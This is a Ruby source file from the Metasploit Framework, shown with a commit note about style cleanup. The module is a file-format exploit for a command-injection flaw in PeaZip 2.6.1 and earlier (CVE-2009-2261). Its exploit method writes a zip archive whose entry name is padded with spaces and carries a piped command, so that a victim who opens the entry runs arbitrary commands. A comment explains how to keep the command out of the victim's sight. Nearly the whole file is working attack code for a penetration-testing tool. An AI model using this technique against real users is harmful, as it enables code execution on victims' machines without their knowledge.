Tod Beardsley
c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
92 lines
2.5 KiB
Ruby
92 lines
2.5 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex/zip'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PeaZip <= 2.6.1 Zip Processing Command Injection',
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'Description' => %q{
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This module exploits a command injection vulnerability in PeaZip. All
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versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with
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version 2.6.1 on Windows.
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In order for the command to be executed, an attacker must convince someone to
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open a specially crafted zip file with PeaZip, and access the specially file via
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double-clicking it. By doing so, an attacker can execute arbitrary commands
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as the victim user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Nine:Situations:Group::pyrokinesis',
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'jduck'
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],
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'References' =>
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[
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[ 'CVE', '2009-2261' ],
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[ 'OSVDB', '54966' ],
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[ 'URL', 'http://peazip.sourceforge.net/' ],
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[ 'EDB', '8881' ]
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],
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'Platform' => %w{ linux unix win },
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => '',
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl telnet',
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}
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},
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'Targets' =>
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[
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['Automatic', { }],
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],
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'DisclosureDate' => 'Jun 05 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.zip']),
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], self.class)
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end
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def exploit
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# NOTE: using a command line containing / or \ will result in the command
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# being easily visible to the victim
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cmd = datastore['CMD']
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fname = "README.TXT"
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rest = "\"|#{cmd}|.txt"
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fname << " " * (255 - fname.length - rest.length)
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fname << rest
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content = rand_text_alphanumeric(rand(1024))
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zip = Rex::Zip::Archive.new
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zip.add_file(fname, content)
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# Create the file
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(zip.pack)
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end
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end
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